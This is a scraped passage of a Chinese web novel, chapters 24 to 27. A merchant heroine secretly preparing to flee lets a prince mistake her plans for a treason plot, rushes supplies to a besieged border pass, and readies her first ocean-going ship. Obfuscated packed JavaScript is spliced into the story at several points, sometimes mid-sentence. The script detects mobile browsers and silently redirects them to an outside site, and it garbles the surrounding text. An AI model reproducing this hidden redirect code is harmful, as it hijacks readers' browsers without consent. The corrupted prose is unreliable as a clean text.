他要让她知道,从今往后,她不是一个人在战斗。 【崔府,清姝院】 夜凉如水,月华如练。 崔云姝刚刚送走了前来探望的母亲宋氏,正准备回房歇下。白日里处理商铺的诸多事务,让她感到了一丝疲惫。 她如今的生活,忙碌而充实。每日里看着自己商业版图的不断扩张,看着那雪花般流入库房的银钱,她心中那份对未来的恐惧,似乎也被这实实在在的成就感冲淡了许多。 尤其是那支在秘密海湾里日夜赶工的船队,更是她心中最大的慰藉。她时常会梦到,自己带领着家人,乘坐着那艘她亲手设计的、最坚固的“鲲鹏号”,驶离这片是非之地,去往一片全新的、自由的天地。 就在她走到院中,准备进屋时,一道迅疾如风的黑影,毫无征兆地从院墙的阴影处闪出,悄无声息地落在了她的面前,拦住了她的去路。 “谁?!”阿桃失声惊呼,下意识地挡在了崔云姝身前。 崔云姝的心脏也是猛地一缩,但当她看清来人那张在月光下显得轮廓分明的、俊朗不凡的脸时,她的心又瞬间沉了下去。 是唐璞。 他深夜潜入崔府,以如此姿态出现在自己面前,绝非为了“喝茶”。 “小王爷深夜造访,未免……太不合规矩了些。”崔云姝屏退了吓得脸色发白的阿桃,强自镇定地开口,声音里带着一丝不易察觉的冷意。 唐璞没有回答她。他只是静静地看着她,那双深邃的眸子,在月光下显得格外凝重。他从怀中,取出了一沓厚厚的卷宗,一步一步地走到院中的石桌前,将它们……一份一份地,铺开 。 第一份,是崔家秘密货仓的详细清单,上面用朱砂笔,重重地圈出了“粮食”、“铁矿”、“船木”等字眼 。 第二份,是关于江南漕运弊案的始末分析,详细剖析了崔云姝是如何精准“预言”,并助其兄长完成那场堪称完美的政治反击 。 第三份,也是最后一份,便是那张从东海之滨加急送回的、标注着一个个标准炮位的“准战舰”图纸 。 一桩桩,一件件,都是她最核心的秘密,如今却被这个男人,以一种不容置疑的方式,赤裸裸地摊在了她的面前 。 崔云姝的脸色,一点点地白了下去。她只觉得浑身的血液,都仿佛在这一刻凝固了。 他知道了……他竟然……全都知道了! “我不好奇你为何有此通天之能,”唐璞终于开口,他的声音低沉而沙哑,带着一种前所未有的认真与严肃,“也无意探究你那些匪夷所思的手段究竟从何而来。” 他抬起头,目光如炬,死死地锁住崔云姝的眼睛,一字一顿地问道: “我只问一句,你做这一切,可是为了……殿下?” 【女主视角】 当唐璞问出那句话时,崔云姝的脑海中,瞬间一片空白。 殿下? 太子唐景承? 她看着石桌上那摊开的一沓沓所谓的“证据”,看着唐璞那双写满了凝重、决绝,甚至……还带着一丝“我懂你”的狂热眼神,她瞬间……什么都明白了。 她明白了,他为何会三番两次地“恰好”出手相助。 她明白了,他为何会对自己那看似疯狂的“大航海计划”不加任何怀疑,反而鼎力支持。 她更明白了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413220|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何会在深夜潜入此地,用这样一种方式,与她进行这场惊心动魄的“摊牌”。 原来,他全都误会了 。 他将她所有为了“跑路”而做的准备,当成了为太子“谋反”而积蓄的力量! 这个误会,是如此的巨大,如此的荒谬,却又……如此的合乎逻辑!以至于崔云姝一时间,竟找不到任何可以辩驳的理由。 她的大脑,开始以一种前所未有的速度飞速运转 。 解释? 她要如何解释?告诉他,我做的这一切,不是为了帮太子谋反,而是因为我知道他要谋反,所以我怕得要死,提前准备好船和钱,随时准备带领全家逃命? 他只会当她是个彻头彻尾的疯子! 一个预知未来的疯子!一个诅咒当朝太子谋反的疯子! 这个秘密,是她最大的依仗,也是她最致命的软肋,绝不能对任何人说出口。 那么……不解释?保持沉默? 崔云姝看着唐璞的眼睛。她从那双眼睛里,看到了孤注一掷的决心。他今夜前来,不是为了揭发她,更不是为了威胁她。他是来……投诚的!他是将自己的身家性命,乃至整个安郡王府的未来,都当成了赌注,押在了她,或者说,押在了他所认为的“太子大业”之上! 他已经把自己当成了“同谋”。 如果自己此刻否认,那之前的一切合作,都将瞬间崩塌。他或许不会立刻与自己为敌,但他们之间那份脆弱的信任,将荡然无存。而她,将失去一个最强大、也最不可或缺的盟友。她的造船计划,她的出海之梦,都将化为泡影。 电光火石之间,崔云姝做出了一个足以改变所有人命运的决定。 既然你误会了,那便……让你一直误会下去吧。 既然你要入局,那便……拉你一起,共沉沦! 她迎着唐璞那灼热的、充满了期待的目光,脸上所有的震惊与慌乱,都缓缓褪去,取而代之的,是一种深不见底的、与他如出一辙的平静与决然。 她没有回答他那个致命的问题,只是轻轻地、将那张画着“准战舰”的图纸,重新卷起,握在了手中。 随即,她抬起头,看着他,平静地反问道: “小王爷,既已入局,你……还有回头的路吗?” 这句反问,轻飘飘的,却比任何肯定的回答,都更具力量。 它没有承认,却默认了一切。 它没有承诺,却发出了一份最沉重的邀请。 在唐璞听来,这便是最决绝、最令他热血沸腾的回答! 他笑了 。 那是一种卸下了所有伪装与试探,终于找到同类的、发自内心的释然与畅快。 “没有了。”他看着她,眼神明亮得像是落入了整片星河,“从我踏入你这院门的那一刻起,便再无回头路。” 他知道,他赌对了。 在这一刻,在这清冷的月光之下,基于一个巨大到荒谬的乌龙,一个脆弱却又坚不可摧的“政治同盟”,正式缔结 。 崔云姝看着眼前这个笑得开怀的少年将军,心中却是一片冰凉。 她知道,她刚刚将一个最危险、也最强大的灵魂,绑上了自己这艘不知将驶向何方的“贼船”。 前路,是生是死,是富贵还是灭亡,她不知道。 她只知道,从今夜起,他们,再也无法回头了。 25.第 25 章 自那夜与唐璞在月下达成那场荒谬绝伦的“同盟”之后,崔云姝便陷入了一种前所未有的、备受煎熬的割裂状态之中 。 白日里,她是运筹帷幄的商业奇才,是崔家的“冰雪郡主”。她或是待在清姝院里,批阅着雪花般从全国各地汇总而来的商业账目;或是与母亲宋氏一同,商讨着下一步的产业扩张计划。她名下的财富,如滚滚江水,日夜不息地汇入她那深不见底的秘密金库,为她那遥远的“跑路大计”添砖加瓦。 而到了夜晚,当她独自一人面对着清冷的月光时,她便不得不戴上另一副面具——一个深藏不露、心怀天下的“幕后黑手”,一个为“太子大业”默默铺路的首席谋主 。 她既要维持这个人设,不让那个聪明绝顶的“盟友”唐璞看出任何破绽;又要小心翼翼地,确保自己的每一个商业决策,最终都服务于她那个真正的、绝不能宣之于口的目标——跑路 。 这种感觉,就像在刀尖上跳舞,每一步都充满了刺激与危险。她时常会从梦中惊醒,梦见唐璞用那双锐利如鹰的眼睛看穿了她所有的伪装,然后用一种既失望又愤怒的语气质问她:“原来,你竟是个胆小鬼?” 每念及此,她便是一身冷汗。 而这一日,她最担心的事情,终于来了。 唐璞派人送来一张帖子,言辞恳切,却又带着不容拒绝的意味,正式约见她,要在“云间阁”顶楼的雅间里,进行他们结盟以来的第一次“战略会议” 。 崔云姝捏着那张制作精美的帖子,只觉得它重如千钧。她知道,这场“会议”,她躲不过去。她必须去面对那个被她亲手拉下水、如今正满怀着“革命热情”的盟友,并且,为他那套宏伟的“谋反大计”,提供一份听起来足够“靠谱”的行动纲领。 【云间阁,顶楼雅间】 雅间内,熏香袅袅,茶香四溢。 崔云姝依旧是一身素雅的装束,端坐在棋盘前,看似在专心研究一盘残局。但她那微微绷紧的指尖,却泄露了她内心的不平静。 当唐璞的身影出现在门口时,她几乎是下意识地挺直了脊背。 今日的唐璞,与往日那副闲散慵懒的模样截然不同。他穿着一身剪裁合体的墨色锦袍,长发用一顶白玉冠高高束起,整个人显得英挺而又锐利。他那双深邃的眸子里,闪烁着一种名为“雄心”与“壮志”的火焰,炽热得几乎要将人灼伤。 他没有像往常一样与崔云姝寒暄,而是径直走到雅间中央那张宽大的紫檀木桌案前,从随身的包裹里,取出了一幅巨大的、绘制得极为精密的地图,缓缓铺开 。 那不是寻常的行政地图,而是一幅详尽的、标注着山川、河流、关隘、卫所的大秦全舆军事图。 “郡主,”唐璞的声音低沉而有力,他指着地图,开门见山,直奔主题,“自上次一别,我思虑良久。我以为,我们的大业,不能再如之前那般,只是被动地应对。我们必须有一份完整的、清晰的、可以按部就班执行的整体规划。” 来了。 崔云姝的心猛地一沉。 她放下手中的棋子,缓缓走到桌案前,目光落在地图上,脑中却在飞速运转,思考着应对之策。 “小王爷所言极是。”她附和道,声音平静无波,听不出任何异样。 唐璞见她认同,精神更是为之一振。他以为,自己终于与这位“首席谋主”想到了一处。他指着地图上的京城位置,神情严肃地问道:“依郡主之见,我们的大业,当从何处着手?第一步,是当以雷霆之势,控制京畿,直捣黄龙?还是……先割据一方,以江南之富庶,或川蜀之险要为根基,徐图进取?” 。 “何时举事,最为恰当?兵力如何部署?粮草如何转运?这其中,每一步都需周密计划,不容有失。” 唐璞的每一个问题,都像一块块巨石,狠狠地砸在崔云姝的心湖里,激起滔天巨浪。 控制京畿? 割据一方? 举事?兵力部署? 崔云姝听得心惊肉跳,头皮发麻。她哪里想过这些!她满脑子想的,都是怎么把“云间阁”的会员卡卖出更高的价钱,怎么让“镜花缘”的口脂卖到脱销,怎么让她的船队能从海外拉回更多的黄金和香料! 可此刻,面对着唐璞那双充满了信任与期待的眼睛,她知道,她不能说“我不知道”。 她必须给出一个答案。一个听起来足够“高深莫测”,足够“深谋远虑”,既能稳住他,又能将他引向自己真正目的的答案。 电光火石之间,一个绝妙的念头,如闪电般划过她的脑海。 她深吸一口气,脸上所有的紧张与心虚,都在一瞬间被一种成竹在胸的、运筹帷幄的平静所取代 。 她伸出纤细的手指,没有去碰地图上那些代表着权力和杀伐的城池与关隘,而是轻轻地,点在了那些代表着商路与驿站的线条之上。 “小王爷,你着相了。”她的声音,轻柔却又带着一种不容置疑的穿透力。 “哦?”唐璞一愣。 “你方才所言,皆是‘术’,是具体的战法。而我们现在要定的,是‘道’,是决定我们大业成败的根本战略。”崔云姝的目光从地图上抬起,直视着唐璞的眼睛,“小王爷以为,举事成败,关键何在?” “……天时,地利,人和。”唐璞下意识地答道。 “不错。”崔云姝点了点头,随即又摇了摇头,“但在这三者之上,还有更重要的两个字——后勤。” 她指着地图上那些纵横交错的线条,开始将自己那套烂熟于心的商业蓝图,用一套全新的、充满了“谋反”色彩的话术,重新包装起来 。 “小王爷请看,”她指着那些遍布全国的红点,“我计划,在未来一年之内,将‘云间阁’与‘镜花缘’的店铺,开遍大秦的每一个州,每一个府,甚至每一个重要的县城。对外,它们是商铺;但对内,它们将是我们覆盖全国的情报与后勤网络!” “每一家店铺,都是一个情报站,负责收集当地的民情、官声、驻军动向。所有的情报,都将通过我们最快的商路,日夜兼程地汇总到京城。如此一来,整个大秦的风吹草动,都将尽在我们的掌握之中。” 唐璞的呼吸,渐渐急促起来。他看着地图上那些密密麻麻的红点,仿佛看到的不是商铺,而是一只只潜伏在黑暗中的眼睛,一张笼罩了整个帝国的无形巨网。 “再说后勤,”崔云姝的手指,又移向了那些标注着货仓的地点,“我之前囤积的那些物资,不过是九牛一毛。我的计划是,利用商业盈利,在全国范围内,建立至少十个像京郊那般规模的秘密货仓。我们要囤积的,不仅仅是粮食,更要有铁器、药材、布匹……所有能够支撑一场长期战争的战略储备!” “届时,无论战火在哪一处燃起,我们都能在最短的时间内,将最充足的物资,送到最需要的地方。兵马未动,粮草先行。有了这十座大仓,我们便有了立于不败之地的根基!” 唐璞的眼中,已经满是震撼。他从未想过,“起事”竟然还可以用这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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。 他对着崔云姝,郑重地、深深地,行了一礼。 “听郡主一席话,胜读十年兵书。唐璞,受教了。” 崔云姝心中长长地舒了一口气,脸上却依旧保持着那份高深莫测的平静。她知道,自己这一关,算是蒙混过去了。 她看着唐璞那副“心悦诚服”的模样,心中一动,决定趁热打铁,将他彻底拉上自己的“贼船”。 “小王爷过誉了。这些都还只是纸上谈兵,”她话锋一转,“如今,我们这‘大业’的第一步,便是要确保那支船队,能够顺利启航。我那些‘宝船’图纸虽好,但终究未经实战检验。且东海之上,海盗倭寇,向来猖獗。” “所以,我需要小王爷帮我一个忙。”她看着他,眼中闪过一丝狡黠的光,“我希望小王爷能利用您的军方身份,调动一支水师,以为即将首航的船队清剿航路,并勘测沿途水文。” “当然,对外,我们可以美其名曰——练兵,并检验我方‘水师’的初步战力。” 这番话,听在唐璞耳中,是何等的顺理成章,何等的理所当然。 练兵! 检验水师战力! 这不正是为他们未来的“大业”做最基础的准备吗? “好!”唐璞慨然应允,没有丝毫犹豫,“此事,包在我身上!我不仅要为船队扫清障碍,更要借此机会,将东海的水文、岛屿、港口,尽数摸清,绘成最详尽的海图,以备将来之用!” 看着他那副斗志昂扬、恨不得立刻就去“建功立业”的模样,崔云姝在心中默默地为他点了一根蜡。 小王爷,对不住了。 她只是想找个免费的保镖和劳工,为自己的跑路计划保驾护航而已。 二人“各怀鬼胎”的合作,在这一刻,终于正式启动,并驶向了一个充满了荒诞与误会的、未知的方向 。 26.第 26 章 【京城,太极殿】 深秋的京城,已是寒意渐浓。 太极殿内,气氛却比这深秋的寒风还要凝重几分。文武百官分列两侧,鸦雀无声,所有人的目光都聚焦在殿中央那个风尘仆仆、单膝跪地的信使身上。他身上还带着北境的风霜,声音因急切而显得嘶哑。 “启禀陛下!十日前,北境蛮族突集三万铁骑,夜袭我雁门关!守将赵将军率部死战,虽勉强击退敌军,然我军伤亡惨重,关内……关内急需大批药材与御寒冬衣!” 此言一出,朝堂之上,顿时响起一片压抑的倒吸凉气之声。 北境狼烟,起于仓促之间! 自圣人将监国之权暂付东宫以来,这还是太子唐景承第一次面临如此重大的军务危机。龙椅之侧,太子身着杏黄色监国朝服,俊朗的面容上不见半分慌乱,只是那双紧握的拳头,泄露了他内心的不平静。 “兵部,户部!”太子的声音沉稳有力,“北境将士为国戍边,劳苦功高。如今战事紧急,补给之事,刻不容缓!着兵部即刻清点武库,户部即刻拨付银两,务必在十日之内,将第一批军用物资送抵雁门关!” “殿下,”一个阴阳怪气的声音从文官队列中响起,正是二皇子一派的户部侍郎周显。他出列一步,躬身道,“殿下爱护将士之心,臣等感佩。只是……国库亦有国库的难处。前番江南水患,赈灾抚恤,已耗去大半钱粮。如今仓促之间,要拨付如此大批的物资,怕是……有心无力啊。” “周大人此言差矣!”兵部尚书是个刚正的老臣,闻言立刻反驳,“北境安危,乃国之大事!岂能因钱粮短缺而置三万将士的生死于不顾?!” “尚书大人息怒,”另一个隶属二皇子党羽的兵部侍郎慢条斯理地站了出来,“下官也非此意。只是,武库中的冬衣,皆是按往年规制备下,尺寸、数量皆有定数。蛮族突袭,事发仓促,要临时筹措足够三万将士所用的合身冬衣与珍稀药材,确非易事。调拨、采买、运送……这其中诸多流程,皆需时日。殿下所言十日之期,实在是……强人所难。” 这二人一唱一和,看似句句在理,实则字字都在推诿掣肘 。他们抓住了官方流程繁琐的弊病,将一个“拖”字诀用得是淋漓尽致。他们就是要故意拖延,眼睁睁地看着北境的将士在寒风中流血,看着太子因补给不力而在朝堂上、在圣人面前,威信扫地! 崔元珏站在东宫属官的队列中,看着周显等人那副“为国分忧”的虚伪嘴脸,气得浑身发抖。他几次想要出列辩驳,却又不知该从何说起。因为他知道,对方说的,是官场上颠扑不破的“规矩”。在这套规矩之下,任何雷厉风行的决断,都会被冠上“罔顾法度”、“急功近利”的罪名。 他心急如焚,只能眼睁睁地看着太子被这群无耻之徒逼得节节败退 。 而站在武将队列前方的唐璞,则早已是双拳紧握,指节发白。他身上那股属于沙场武将的凌厉煞气,几乎要抑制不住地迸发出来。 作为安郡王府的小王爷,他同样负责着一部分京畿的军务,深知后勤补给对于一场战事的重要性。冬衣、药材,这些看似不起眼的东西,在滴水成冰的北境,就是将士们的第二条命! 二皇子一党,为了党同伐异,竟不惜拿三万将士的性命做赌注!其心之狠,其行之毒,简直令人发指! 他恨不得立刻冲上前去,揪住周显的衣领,用最直接的方式让他明白,什么叫“军情如火”。可他不能。在太极殿上,他是臣子,不是将军。 朝会最终在无休止的扯皮与争论中,不欢而散。太子面色铁青地返回东宫,而二皇子唐景明,则在离去时,向唐璞投来一个充满了挑衅与得意的眼神。 唐璞的心,沉入了谷底。 他知道,这不仅仅是一场军务危机,更是二皇子对他们这个“同盟”的第一次正面宣战。而这一次,他们似乎……毫无还手之力。 这在他看来,是他们“大业”未成之前,所遭遇的一次最重大的危机! 【云间阁,顶楼雅间】 是夜,三更。 唐璞一反常态,没有走“云间阁”的正门,而是直接动用了安郡王府的特权,从后院翻墙而入,径直来到了顶楼的雅间。 当崔云姝被阿桃从睡梦中叫醒,披着外衣来到雅间时,看到的是一个满身戾气、焦躁不安的唐璞。他像一头被困在笼中的猛虎,在房间里来回踱步,那份属于沙场的肃杀之气,让整个雅间的空气都变得凝重起来。 “出事了。” 看到崔云姝,唐璞开门见山,声音沙哑而低沉。 他将今日朝堂上发生的一切,言简意赅地叙述了一遍。他没有添油加醋,只是平静地陈述事实,但那份平静之下,却压抑着火山爆发般的愤怒与无力。 “……按照户部和兵部那些混账的流程,等他们扯皮完毕,将物资筹措齐全,再慢吞吞地运到雁门关,至少需要一个月。可北境如今已入寒冬,夜间气温早已在冰点之下。将士们缺医少药,衣衫单薄,根本撑不了那么久!这哪里是拖延?这分明是……草菅人命!” 他说完,一拳狠狠地砸在身旁的紫檀木桌案上,坚硬的桌面竟被他砸出了一道清晰的裂痕。 “二皇子此举,一石三鸟。”唐璞的眼中,闪烁着冰冷的寒光,“其一,是为重创太子威信;其二,是为削弱我安郡王府在军中的影响力;其三,也是最歹毒的,他想借此机会,让我北境边军心生怨怼,动摇军心!此乃釜底抽薪之计!” 他看着崔云姝,那双一向深邃锐利的眸子里,第一次流露出一丝求助的意味。在他心中,眼前这个看似柔弱的少女,才是他们这个“同盟”真正的核心与大脑。他相信,她一定有办法。 “我知道,此事棘手,或许……会打乱我们原有的部署。”唐璞的声音里带着一丝不易察觉的歉意,“但,三万将士的性命,关乎国之安危。此事,我们不能不管。” 崔云姝静静地听着,从始至终,她都没有插一句话。她那张清丽的脸上,也看不出任何的惊慌与失措。 直到唐璞说完,整个房间陷入一片死寂,只能听到窗外萧瑟的秋风声时,她才缓缓地、抬起头,看着眼前这个焦躁不安的“盟友”,轻轻地、说出了四个字。 “等我消息。” 她的声音很轻,很平静,却带着一种足以安抚人心的、不可思议的力量 。 唐璞一愣,他看着她那双清澈如古井的眸子,那里面没有丝毫的波澜,只有一片深不见底的自信与从容。仿佛眼前这个足以让整个朝堂都焦头烂额的死局,在她眼中,不过是一道再简单不过的算术题。 不知为何,他那颗原本狂躁不安的心,竟在这一刻,奇迹般地平静了下来。 他点了点头,没有再多问一句,只是深深地看了她一眼,转身,从原路悄然离去。 他选择,无条件地相信她。 【次日,清姝院】 唐璞走后,崔云姝并未立刻行动。她只是回到房间,安安稳稳地睡了一个回笼觉。 直到次日清晨,当第一缕阳光照进清姝院时,一场席卷整个大秦的、堪称恐怖的商业机器,才被她这个幕后的主人,悄然启动 。 “阿桃。” “奴婢在。” “传我的手令,用最高级别的红色密信,通过‘云间阁’在全国所有的秘密驿站,发往北平、太原、济南、洛阳、成都五处总仓!” “是!” “手令内容:即刻起,征用仓内所有库存的顶级药材——尤其是金疮药、止血散、伤寒药,以及所有加厚冬衣、棉布、皮毛!不计成本,不问数量,有多少,便征用多少!” “石头。” “小的在!” “传令‘风马商队’!让他们即刻集结旗下最精锐的五支马帮,每支三百人,配备最好的快马,分赴五处总仓,装载物资后,不得有片刻停留,日夜兼程,直奔雁门关!” 风马商队,是崔云姝耗费巨资,秘密组建的、只属于她自己的快速运输力量。这支商队里的每一个人,都是从退役的边军或走南闯北的镖师中高薪聘请而来,他们不仅熟悉地形,更拥有远超常人的体魄与毅力,其运输效率,是大秦任何官方驿站都望尘莫及的。 一道道命令,从清姝院这个小小的院落里,迅速地发出。 一张覆盖了整个大秦的、无形的商业网络,在这一刻,被彻底激活了。它就像一个沉睡的巨人,猛然睁开了双眼,开始以一种惊人的、恐怖的效率,高速运转起来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只见南方的地平线上,烟尘滚滚,旌旗招展,五支庞大的马帮商队,正以一种一往无前的气势,朝着雁门关的方向,疾驰而来! 他们没有打任何官方的旗号,旗帜上,只绣着一个古朴而雅致的云纹图样——那是“云间阁”的标志。 “开城门!快开城门!”赵德全先是一愣,随即反应过来,脸上爆发出狂喜之色,嘶吼着下令。 当第一辆马车冲入关内,车帘被掀开,露出里面满满一车的、散发着浓郁药香的金疮药时,整个雁门关,都沸腾了! 三天! 仅仅三天! 比朝廷最快的军方驿站,整整快了十天不止! 当一箱箱珍贵的药材、一捆捆厚实的冬衣被搬运下来,分发到每一个士兵和伤员手中时,无数铁骨铮铮的汉子,都忍不住流下了滚烫的热泪。 赵德全看着眼前这如山一般堆积的物资,激动得双手都在颤抖。他亲自提笔,用最质朴、也最真挚的语言,写下了一封感谢信,信中对这位不知名的、雪中送炭的“民间义商”,致以了最崇高的敬意与感谢。 这封信,与边关危机解除的捷报一起,再次以八百里加急的速度,送抵京城。 当这封信在太极殿上,被当众宣读出来时,整个朝堂,一片死寂。 那些前几日还在为“流程”和“规矩”喋喋不休的官员们,此刻一个个面红耳赤,恨不得找个地缝钻进去。尤其是户部侍郎周显,更是脸色煞白,如丧考妣。 龙椅之上,皇帝听完奏报,久久未语 。他只是拿起那封来自边关的感谢信,摩挲着上面那个小小的云纹印章,眼神深邃,让人看不出喜怒 。 太子唐景承站在殿下,心中一块大石终于落地,他看着身旁神色平静的崔元珏,眼中充满了激赏与信赖。 而唐璞,则早已被这石破天惊的结果,震撼得无以复加 。 他亲眼见证了。 他亲眼见证了崔云姝所构建的那个“后勤网络”,究竟拥有何等可怕的、足以逆转乾坤的效率与力量! 这已经完全超越了商业的范畴! 这分明是一台为了战争而生的、精密、高效、且无比强大的……战争机器! 他看着身边那些面如死灰的二皇子党羽,再回想起崔云姝那晚平静无波的眼神,和那句轻描淡写的“等我消息”,一股前所未有的、炽热的豪情与信心,瞬间填满了他的胸膛 。 他知道,自己没有跟错人。 他们正在做的,是一件正确、且无比伟大的事情 。 他对他们的“大业”,信心空前高涨! 27.第 27 章 北境的狼烟,最终在崔云姝那雷霆万钧的后勤支援下,被迅速扑灭。这场由二皇子一派精心策划的、意图重创东宫的危机,最终却以一种最富戏剧性的方式,变成了彰显崔氏财力与太子一系凝聚力的功绩。 朝堂之上,因此事而受到皇帝冷落的二皇子党羽们,偃旗息鼓,蛰伏不出。而作为这一切的幕后功臣,崔云姝的名字,虽未被公开提及,却在京城真正的权力顶层,变得愈发神秘而又分量十足。 然而,对于这一切,崔云姝并未投入过多的关注。她的心,早已飞向了千里之外,那片承载着她所有希望与未来的蔚蓝深海。 在她的“盟友”唐璞的暗中护航下,一场针对东海海盗的大规模清剿行动,正如火如荼地展开。唐璞以“整顿海防,为朝廷水师练兵”为名,调动了登州府的水师,配合他安郡王府的玄甲卫,对盘踞在航线之上的数股积年海盗,发动了毁灭性的打击 。 那些往日里横行无忌、令过往商船闻风丧胆的海盗们,在装备精良、训练有素的正规军面前,根本不堪一击。短短一个月的时间,从登州府到泉州港的近海航路,便被彻底肃清,一片朗朗乾坤。 航路初定,万事俱备。 在那个位于东海之滨的、地图上都找不到名字的秘密海湾里,崔云姝的“诺亚方舟”计划,也终于迎来了它最激动人心的时刻。 第一艘完全按照她改良图纸建造的远洋宝船,正式建成了 。 当崔云姝再次踏足这片海湾时,饶是她早已在心中预演过无数次,也依旧被眼前那壮丽的景象,震撼得无以复加。 只见一艘庞然大物,如同一座移动的海上堡垒,静静地停泊在碧波万顷的海湾之中。 它的船身,远比大秦现有的任何一艘福船或沙船都要庞大、修长。那流畅优美的线条,充满了力量感与速度感,仿佛一只蛰伏的深海巨兽,只待一声令下,便可破浪而出,翱翔九天。五根高耸入云的巨型桅杆,如同巨人的手臂,擎举着折叠得整整齐齐的硬帆,在海风中巍然不动。那经过桐油反复涂刷、呈现出深邃棕红色的船体,在阳光下闪烁着坚实而温润的光泽,给人一种无与伦比的安全感。 这,就是她倾注了无数心血与财富,凝聚了鲁大师毕生技艺与智慧的结晶——“鲲鹏号” 。 “如何?”唐璞不知何时已站到她的身边,他的声音里,带着一丝难以抑制的骄傲与兴奋。在他眼中,这艘巨舰,便是他们“大业”扬帆起航的标志。 “巧夺天工,鬼斧神工。”崔云姝由衷地赞叹。她转头,看向不远处那个正抱着酒葫芦,一脸痴迷地望着自己心血结晶的须发皆白的老者,“鲁大师,辛苦了。” 鲁大师摆了摆手,浑浊的老眼里满是狂热的光:“不辛苦!不辛苦!能亲手将这等神迹般的宝船造出来,老头子我便是立刻死了,也瞑目了!丫头,你后面那几张图纸,什么时候给老头子我?我这手……可早就痒痒了!” 崔云姝笑了笑:“大师放心,只要您精力跟得上,云姝的图纸,管够。” 她没有再与他们多言,而是亲自带着母亲宋氏,登上了这艘即将远航的巨舰 。 宋氏看着女儿在这艘完全由她主导设计、建造的庞然大物上,有条不紊地指挥着船员们进行着最后的准备工作,眼中满是欣慰与自豪。她知道,她的女儿,早已不是那个需要她庇护在羽翼之下的雏鸟了。她已经拥有了属于自己的、足以搏击风浪的翅膀。 崔云姝为这次首航,做了最周全的准备 。 她亲自召见了由唐璞推荐的、经验最丰富的船长和船员们,将一卷厚厚的、用油布精心包裹好的航海图,郑重地交到了船长手中 。那上面,不仅标注了她凭借前世记忆改良过的、通往未知大陆的初步航线,更详细地绘制了沿途可能遇到的洋流、季风、暗礁等信息。这些,对于这个时代的航海者而言,是比黄金还要珍贵无数倍的生命地图 。 “此去前路未知,一切,以安全为第一要务。”她看着船长,神情严肃地叮嘱道,“我不要你们带回多少财富,我只要你们……所有人都平平安安地回来。你们的首要目标,是探寻新的航路,绘制更详尽的海图,以及……寻找一切我们闻所未闻的、可堪大用的物产,尤其是高产的粮食作物。” 她又将几个沉甸甸的大木箱交给船上的随行大夫,里面是她根据前世知识,准备的足以应对坏血病、疟疾、风寒等各种海上常见疾病的药包,以及详细的用法说明 。 最后,她指着船舱里那数百箱被封得严严实实的货物——顶级丝绸、精美瓷器、茶叶、漆器…… “这些,是你们的资本。用它们,去交换一切你们认为有价值的东西。记住,你们的背后,是整个崔家,是整个‘云间阁’。钱,我们不缺。我只要你们,为我们带回一个……全新的世界。” 船长和船员们,看着眼前这位年纪轻轻、却思虑周全、气度不凡的“冰雪郡主”,听着她那一番充满了远见与魄力的嘱托,心中早已是敬佩得五体投地。他们单膝跪地,用最庄重的军礼,向他们的主君,许下了必将完成使命的誓言。 一切,准备就绪。 当晚,海风轻拂,月华如水。 崔云姝独自一人站在船头,望着远处那片在月光下泛着粼粼波光的、深邃而又神秘的大海,心中百感交集。 身后,传来了轻微的脚步声。 她不用回头,也知道来人是谁。 “在想什么?”唐璞的声音,在寂静的夜里显得格外清晰。他走到她身边,与她并肩而立,海风吹拂着他们二人的衣袍,在空中交织、缠绕。 “在想……这艘船,究竟能驶向何方。”崔云姝轻声答道,声音里带着一丝不易察觉的迷茫。 唐璞看着她的侧脸,那张平日里总是带着几分疏离与冷静的脸庞,在朦胧的月色下,竟显得有几分柔弱与脆弱。他心中一动,鬼使神差地,问出了一个与他们“大业”毫不相干的问题。 “你害怕吗?” 崔云姝的身子微微一颤。 她转过头,看着他。月光下,他那双深邃的眸子,没有了往日的试探与算计,只有一种纯粹的、真挚的关切。 这个问题,像一把钥匙,悄无声息地,打开了她心中那道最坚固的防线。 是啊,她害怕吗? 她怎么可能不害怕。 她害怕那本“书”里的结局会成真,害怕自己所做的一切都只是徒劳。她害怕这艘她寄予了全部希望的“鲲鹏号”,会迷失在茫茫的大海之上。她更害怕……自己会辜负身边所有人的信任与期望。 但这些,她都不能说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424756|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她迎着唐璞的目光,沉默了许久,最终,只是轻轻地点了点头,又摇了摇头。 “我怕。”她坦言道,声音里带着一丝自嘲,“我怕这未知的深海,会吞噬掉我所有的心血。怕这虚无缥缈的‘黄金航路’,不过是我的一场痴人说梦。” 她顿了顿,眼神却陡然变得无比坚定。 “但是,比起对未知的恐惧,我更怕的,是坐以待毙。” “我更怕,明知前方是万丈深渊,却只能眼睁睁地看着,什么都做不了。与其在那无望的等待中被黑暗吞噬,我宁愿选择……在这片充满无限可能的深蓝里,赌一把!” 这番话,是她此刻最真实的心声。 而在唐璞听来,却又有了另一番截然不同的、更令他心潮澎湃的解读。 他听到的,是一个心怀天下、意图改天换地的革命者,在面对那渺茫的成功率与皇权那座不可逾越的大山时,所表现出的、最决绝的勇气与担当! 